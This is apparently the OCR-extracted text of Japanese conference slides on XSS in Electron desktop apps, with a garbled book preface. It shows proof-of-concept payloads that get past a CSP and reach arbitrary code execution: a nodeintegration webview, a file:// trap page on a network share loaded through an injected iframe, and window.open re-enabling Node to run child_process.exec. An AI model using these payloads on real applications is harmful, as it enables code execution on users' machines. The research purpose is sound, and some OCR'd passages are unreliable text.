Electronのはなしはせがわようすけhttp://utf-8.jp/はせがわようすけ@hasegawayosuke ▷ (株)セキュアスカイ・テクノロジー常勤技術顧問▷ OWASP Kansaiチャプターリーダー ▷ OWASP Japanボードメンバー ▷ http//utf-8.jp/
#shibuyaxss
宣伝:本が出ました
▷ Wade Alcorn、Christian Frichot、Michele Orrù著園田道夫、西村宗晃、はせがわようすけ監修▷ http://www.shoeisha.co.jp/ book/detail/9784798143439ブラウザハック▷書籍内、日本人で唯一のバイネームな記述
みとつ足りないため軽視される鎮内が強い、というのがずっと悩みでしたが、「めんどうくさいWebセキュnチェ」 (Michal Zalewski差、翔球社、 2012年）あたりから既死にヘビーな被害を出すところまで行くシナリオを想像できるようになってきました。 Webプラウザというインフラを攻めまくることで、本書はその深刻さをさらにリアルに増してくれます。もちろん、被害が深刻にならないことの方が社会にとって良いことなのですが、そうなっていない現状を軽視することなく、といって潜利反応することもなくできるだけ正敵に把握することが重要ですし、同時にSOPなどの現在の主要な対策の「できている範囲」「できないこと」というのを認識する必要もあると思います。本書はその目的には最適だと考えています。 2015年半ばごろに田中ずック&はせがわようすけという人たちからコンタクトがあり、「これめっちゃ良い本なので観測出したいんですがどうでしょう?」と相談されました。以前だったら良い本があれば知り合いの解焦者にすぐ情報を拠ったり、「翻訳本を世に出そう」的な働きかけをしたりしてたんですが、SECCONとかキャンプとかAVTokyoとかASEANとかトレンドマイクロCTFとか目前にドッシリ由なろイペントの前にそういう元気も無く過ごしていたところに突然スイッチが入り、西村宗気さんを巻き込んでプロジェクトスケート。………したものの全然造歩せず、編集サイドにはいろいろご迷惑をおかけしましたが、特に原稿が遅いはせがわようすけさんにはハラハラさせられました（笑)。内容について少し書いておきます。分量と価格のパランスを考慮し、原著でMetasploitの使い方を設明している部分は割愛しました。このあたりは別途Metasploitの解説本やオンラインの文書等をご参照ください。また、原著のコードや攻撃の一部は、現在そのままでは通用しませんが、攻撃にいたるプロセスや考え方は非常に勉強になりますし、その考え方のもとに原著者は今も多くの鹿将性を発見していたりしますので、削除せずにそのまま掲載しました。注釈のURLもすでに404になっているものもあるのですが、これはその旨明記しつつもWebアーカイプなどを迫る方向けに情報として残しました。わたしは今の日本に足りないのは攻撃の研究だと思っています。この本で現代的なプラウザをめぐる攻撃を研究して、防御を考える手がかりにしてください。。   1974 Enjoy browser hacking!院格者を代表して監修者まえがき「特に原稿が遅いはせがわようすけさんにはハラハラさせられました」 (´Д`;)
監修者まえがき亰稿が遅いはせがわ「2009年に日本のセキュリティ研究家のはせがわようすけが、[],$_+:~{}とその他わずかの//のみでJavaScriptコードを……」 v(*'ω'*)v de whitespaceは、上記のRubyスクリプトから生成されたホワイトスペースte_encodedのコンテンツをデコードします。デコードのプロセス血位で再開張します。 String.fromCharCodeは元の文字列を返します。デコsetTimeoutにより評価され、最終的に処行されます。デコードされたソースコード(alert(1))はsetTimeout()の呼び出英数字以外のJavaScript 2013 JavaScript言語は柔軟性が高く、英数字を使わなくてもデータをエンセキュリティ研究家のはせがわようすけが、[] ,$_+: {}とその他わずかな記号のみでJavaScriptコードを
▷詳しい話はこのあたりを見てくださいhttp://utf-8.jp/public/2016/0307/electron.pdf
まとめ
▷ElectronでのDbXSSはWebアプリより深刻▷任意コードの実行▷Electron自体には有効な保護機構はない▷レンダラ内でnode機能が再活性化されやすい▷iframe sandboxによって脅威を緩和することが可能▷Electron固有の注意点については今回は触れていません▷ webviewタグ、webFrame APIなど…… AbtendSigio HTML5j web platform #htmlSjplot
@ https://codeig.jp/magazine/2016/03/385できる人は、見積をhtたRSS CodeIQ MAGAZINE校務ワンバイナリでマルチプラットフオームで動く「Electron」は本当に使える技術なのか？ HTMLとJavaScriptでデスクトップアプリケーションが開発できるElectron。 html5j・Webプラットフォーム部は、 Electronをテーマに「jsアプリ怪獣エレクトロンの育て方と倒し方」という勉強会を開催。 Electronアプリの開発方法、セキュリティ関連で注意しなければならないところ、実際のエンタープライズ業務で採用した状況技術トレンドforate ・イベントコード転職ライブラリ報教】はしれ！コード学園難税】ヨッピーの突撃レボー https://codeiq.jp/magazine/2016/03/38961/
│編https://codeiq.jp/maqazine/2016/03/38961/
▷ iframe sandbox - iframe内でのJS実行を禁止\レンダリング(DOM操作)を全てiframe sandbox内で行えばXSSがあっても被害が出にくいのでは? <iframe sandbox="allow-same-origin" id="sb" srcdoc="<html><div id=msg'></div>..."></ifram document.querySelector("#sb") .contentDocument.querySelector("#msg").innerHTML = "Hello, XSS!<script>alert(1)<¥/script>"; ▷この方法は意外と強い▷iframe内でXSSが発生しても被害を抑えることができたるただし、「allow-scripts、 allow-top-navigation、 allow-popupsはは危険なのでつけてはいけない」という注意点もある。最後にはせがわ氏は「webviewタグ、webFrameAPIなど今回触れなかったElectron固有の注意点については、3月28日に開催するShibuya.XSSで説明する」と語り、セツシヨンを締めた。 ៤៤最後にはせがわ氏は「webviewタグ、webFrameAPIなど今回触れなかったElectron固有の注意点については、3月28日に開催するShibuya.XSSで説明する」と語り99しません＞＜ ▷その1. Electron vs CSP ▷その2. Electronのnodeモジュール探索パスその1 Electron vs CSP
▶レンダラにCSPを適用<meta http-equiv="Content-Security-Policy" content="default-src 'self'"> ▷CSPが指定されてもwebviewタグ内では自由にスクリプトが実行可能<webview nodeintegration src="data:text/html, <script> require('child_process') .exec('calc.exe', ()=>{}) </script> ""></webview> ▷ CSPではXSSの緩和にならないhttp://utf-8.jp/public/2016/0307/electron.pdf
▷webviewタグを使わずどこまで攻撃できるのか▷ XSSはあるがCSPは適用されている// main.js app.on('ready', ()=>{ mainWindow = new BrowserWindow({width: 600, height: 400} ); mainWindow.loadUrl( `file://${__dirname}/index.html` ); <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> <script src="index.js"></script> // index.js document.querySelector("#msg").innerHTML = xss_source; //XSS!
#shibuyaxss

▶レンダラ内は同一オリジン以外のリソースは禁止<meta http-equiv="Content-Security-Policy" content="default-src 'self'"> <script src="index.js"></script> // index.js document.querySelector("#msg").innerHTML = xss_source; //XSS! <script src="http://example.jp/evil.js"></script> …発火しない<img src=# onload=alert(1)> …… CSPでブロック<iframe src="http://example.jp/"></iframe> …… CSPでブロック<iframe src="file.html"></iframe> ……表示される。iframe内のスクリプトも動作
▷iframeの埋め込みは可能! <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> <script src="index.js"></script> // index.js document.querySelector("#msg").innerHTML = xss_source; //XSS! <iframe src="file.html"></iframe> <!-- file.html内--> <script>console.log(1);</script> iframe内で実行される
▷CSPが適用されているがXSSがあるアプリ▷ src=http://なiframeは埋め込み不可▷ src=file://なiframeの埋め込みが可能▷iframe内のJavaScriptは動作する▷ CSPが適用された通常どおりの動作▷file://なHTML内に悪意のあるコードを埋め込めば攻略できるのでは!
#shibuyaxss

▷file://なHTML内に悪意のあるコードを埋め込めば攻略できるのでは! ▷そもそも「同一オリジン」はどこ? // main.js app.on('ready', ()=>{ mainWindow = new BrowserWindow({width: 600, height: 400} ); mainWindow.loadUrl( `file://${__dirname}/index.html` ); ▷ディレクトリ関係なく全ファイルが同一オリジンconsole.log( location.origin ); // => "file://"
#shibuyaxss

▷file://なHTML内に悪意のあるコードを埋め込めば攻略できるのでは! ▷Electronアプリの外側でもいい。任意のフォルダ。 ▷file://スキームで罠ファイルを用意する方法…… ▷事前に悪意のあるファイルをダウンロードさせる? →ダウンロード先フォルダを攻撃者は知る必要があるる▷Electron、他アプリ等でeval(xhr.responseText)みたいな任意コードできるHTMLがないか探す→さすがに簡単には見当たらない
#shibuyaxss

▷file://スキームで罠ファイルを用意する方法ファイルサーバ(CIFS or WebDAV)を立ち上げてfile://file-server/share/trap.htmlみたいなファイルを用意すればいい! <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> <iframe src="file://server/share/trap.html"></iframe>
#shibuyaxss

▷罠HTMLファイル内のコード▷そのままではnode.jsの機能が使えない→任意コード実行とまで言えないtypeof require; // => "undefined" ▷nodeを有効にしてwindowを開きなおす<script> window.open(`data:text/html, <script> require('child_process').exec('calc.exe',()=>{}) <￥ /script>`, "","nodeIntegration=1") </script>
#shibuyaxss

▷CSPでdefault-src 'self'が効いていても任意フォルダのfile:スキームなコンテンツが読める▷ファイルサーバ上のコンテンツも読める▷ファイルサーバに罠コンテンツを用意し<iframe>をインジェクトすることで任意コード実行が可能▷結論・ CSPが指定されていてもXSSがあればwebviewタグを使わなくても任意コード実行が可能
#shibuyaxss
Electronのnodeモジュール探索パス検閲により削除質問? hasegawa@utf-8.jp @hasegawayosuke http://utf-8.jp/